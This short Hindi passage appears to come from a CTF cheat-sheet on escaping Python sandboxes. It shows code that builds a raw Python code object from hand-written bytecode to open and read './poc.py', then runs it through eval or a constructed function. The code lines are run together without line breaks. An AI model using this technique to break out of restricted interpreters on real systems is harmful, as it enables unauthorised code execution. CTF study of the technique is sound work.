हर तरह से, कभी-कभी यह उपयोगी हो सकता है कि स्थानीय मशीन में एक कॉम्पाइल किया गया ऑब्जेक्ट बनाना और इसे सीटीएफ मशीन में निष्पादित करना (उदाहरण के लिए क्योंकि हमारे पास CTF में compiled फ़ंक्शन नहीं है)।
उदाहरण के लिए, चलो ./poc.py पढ़ने वाला एक फ़ंक्शन कॉम्पाइल और मैन्युअल रूप से निष्पादित करें:
#On Remotefunction_type =type(lambda: None)code_type =type((lambda: None).__code__)#Get <type 'type'>consts = (None,"./poc.py",'r')bytecode ='t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'names = ('open','read')# And execute it using eval/execeval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))#You could also execute it directlymydict ={}mydict['__builtins__']=__builtins__codeobj =code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())function_type(codeobj, mydict, None, None, None)()
यदि आप eval या exec तक पहुंच नहीं पा रहे हैं तो आप एक उचित फ़ंक्शन बना सकते हैं, लेकिन इसे सीधे कॉल करने में आम तौर पर विफल होगा: सीमित मोड में कन्स्ट्रक्टर अक्सेस नहीं है। इसलिए आपको इस फ़ंक्शन को कॉल करने के लिए सीमित परिवेश में न होने वाला फ़ंक्शन की आवश्यकता है।
